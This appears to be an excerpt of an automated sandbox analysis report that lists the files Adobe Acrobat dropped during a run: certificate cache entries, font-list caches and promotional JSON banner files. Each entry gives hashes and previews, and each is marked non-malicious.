C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.731398464046725
Encrypted:	false
SSDEEP:	3:kkFklxVVltfllXlE/HT8k6llltNNX8RolJuRdxLlGB9lQRYwpDdt:kK4PeT8J7NMa8RdWBwRd
MD5:	1CA4AFD709D5138A1FDA1DF16A8471B5
SHA1:	26920E09571ABF8D80171DC862ECFE2F8267B0B6
SHA-256:	8B323FC1DEB3E3283AB6DD7F175086C0185886EEEB728FA29AF5F761DA5C9FDC
SHA-512:	2034691BACCDB44CB77D73AC8B56996ABCC3A554FF8C8EBC1CCC2A5B22F676DE7BEC52AED3691C1A8F046945606B44F0BFD912CE3FAC0CCF6F35F9B580039BC4
Malicious:	false
Preview:	p...... .........wY..c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKlL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9iDImsLNkPlE99SNxAhUe/3
MD5:	BD87040BCBE0C06837AB283A0E9876BD
SHA1:	1BB31C73161AA5F153748A216F307E4D9613A992
SHA-256:	ED4AE3E20795FF34D024F88C9AF597BB6A8D0E622C53FC040F7B39FF84203681
SHA-512:	4C6A35455B2E431E7EB98EE6303D80BE8D231286F330A30DEE70C3B5FBE4575210923E5B7CBB9291059BDD1157A392F5488DE452D150E264E11959977A0A6A70
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2308

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2308

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3680636966210855
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJM3g98kUwPeUkwRe9:YvXKX0TTTcsf1VEVGMbLUkee9
MD5:	C3C5426C8F137B47EC55B3918F519BFF
SHA1:	7F3B1BE86AC00CEBCAAF5C93B7C8838CD1A03C6D
SHA-256:	0284954ED80DF7915C8AC36A5D08CAD5F984F554C2688EC524A62B73973DAE03
SHA-512:	76AC90DB0E035DABA2E2AD17AC832B36803A2A66FAC1F853286B807597446B377CD26B93967DD5DBAD8991C76DA52D97F7C75DF640019846F99490B461A3E2E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.314769833047548
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJfBoTfXpnrPeUkwRe9:YvXKX0TTTcsf1VEVGWTfXcUkee9
MD5:	4D5D98C3C11F1A9771314E3534EAA21A
SHA1:	44986B465597D6B95E7D4FFAC16F22F3AA86B5DA
SHA-256:	CF3EF96C591B60E0D0AAB5E2B2375300280F6D432E3F6436726BA37CE0A26AA4
SHA-512:	C5E0EED283AE9ACF941ED125939B8C892B5BD888678B7A4A2F79A8779E0DAB4BD7443DBE5A79E128F1EE5C4C720879DCAB97ACD6F7470D12CD1856B0597F41A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.294529160704544
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJfBD2G6UpnrPeUkwRe9:YvXKX0TTTcsf1VEVGR22cUkee9
MD5:	0754CD718219AF76E2DC5A906FDD19E9
SHA1:	FB723DEF1A1A8EA4EA244E331E7DB0EFF2A2A06E
SHA-256:	17F5CD3220AD086093F61F81B3117B9D3E920F7B9474186FB20D98270B8C4414
SHA-512:	56622126F9AAE701FAF19955384D79745B897689E1635BE16B3D4DFBDD6562841494FF8C59487DB13647F2793B1479CB539A2F78106CCED3C3184C20F3EA13B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.350738107162576
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJfPmwrPeUkwRe9:YvXKX0TTTcsf1VEVGH56Ukee9
MD5:	560C6C98E4960FDE480CEA5514661EB1
SHA1:	6C417E6A361A62B4B7AE314F6B5F2E41BB2EB470
SHA-256:	41DBACF62C47E9D6483CE8AA835AF32CFDD36986A4E1AEE1472F2FEE0C3B0A3A
SHA-512:	6904C46446B13B434145D5AFBBF5C2FD20347300F28B0F5B36F7D026C95A4BDCA3C2A1552665C0029BE05FDE7C7765633DED52D30CB19BB7EE540E4C59792DB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6899302383085395
Encrypted:	false
SSDEEP:	24:Yv6X0LDc6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSV:YvZLDhhgy6SAFv5Ah8cv/V
MD5:	4F1119E4B64B9A06EBE5C5E771BFA978
SHA1:	3638CEF57AB63674645E7235B1D364C063CBC65A
SHA-256:	96D03D253ED5D80E2410CBBD1872FBE1C17267B05BFB4ACF99CE12FE1099C2DC
SHA-512:	610010ECC9988D795DCF3E65D2249791B2082E239F08492989CEE76A95665F37EB9280C4B4B9D9B1C0B26F560D56DE640931342922D52798FDFF1DDDC4BB360B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299549979036609
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJf8dPeUkwRe9:YvXKX0TTTcsf1VEVGU8Ukee9
MD5:	F3DA02D9A1139A6EF3B9CE216D10E710
SHA1:	7571B5C3B3CFF9445207A01C8575B889BC2ACD4C
SHA-256:	E48446B90584636465BB54DA59B6ED2394E6336FA51512499B3F03C20E72D158
SHA-512:	14BC5FA9738F67A20B71E25959EF4BD70E1204D78706DBE26A573D1C62FD424B583C00103337BA61D66C468EAF7B64A71B634BEBB250C7D1840F324FFA80D66E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2999443778474955
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJfQ1rPeUkwRe9:YvXKX0TTTcsf1VEVGY16Ukee9
MD5:	7F8040563FCBA926CD1E6016709FE2B5
SHA1:	12ED51D3E19B98DA06E26C904869DE25995E0697
SHA-256:	7FA804D2E8AE2D635EE14601E7ADA61BB8D13F6B6C7EF9F4679362F9DAEC6C84
SHA-512:	9B282CD9CB93765DA5E5977774E4CDE56F160F470C31F8D42621F3B29F56CF2C808F225C66CD8B2263600E4FB51D685EFEA15ECC17F5724402E90253D003F1E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311034914742434
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJfFldPeUkwRe9:YvXKX0TTTcsf1VEVGz8Ukee9
MD5:	FBA662E0FB262E14B75EE670909E5A22
SHA1:	D6B86FDBA529F4AF1E7D19477B902D9C056F9975
SHA-256:	111D558469F8DC92BBF554D4D8FFE8E5DD86EAB9BC636A3A8E3A1CA346CF21B2
SHA-512:	88975332C8F6B87DD6EBFFE8D80D67A4B2D8593C39759EE8E25FA79A7D31CD7C74BB6A41B43D9C50FC57208FC46D29603903D3866970992C19BF7538518AC3E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.324672816342244
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJfzdPeUkwRe9:YvXKX0TTTcsf1VEVGb8Ukee9
MD5:	3CD8F9E88B617ECE6ECB0ACE180ED9B0
SHA1:	2841B9B89531A6CAB585A3253C11769F0F4B00BE
SHA-256:	B10F1C1B830964EC405A786353ED13B0EDAC5D68929590597E99CC9C95604917
SHA-512:	E581A4EAFAA27F84F171B8D679693F03230A622B5BC834CBA967580B21725C22AC6CC30949233B5761833054242532E4F6132DB9941CFDB4862AE911FEC61C63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

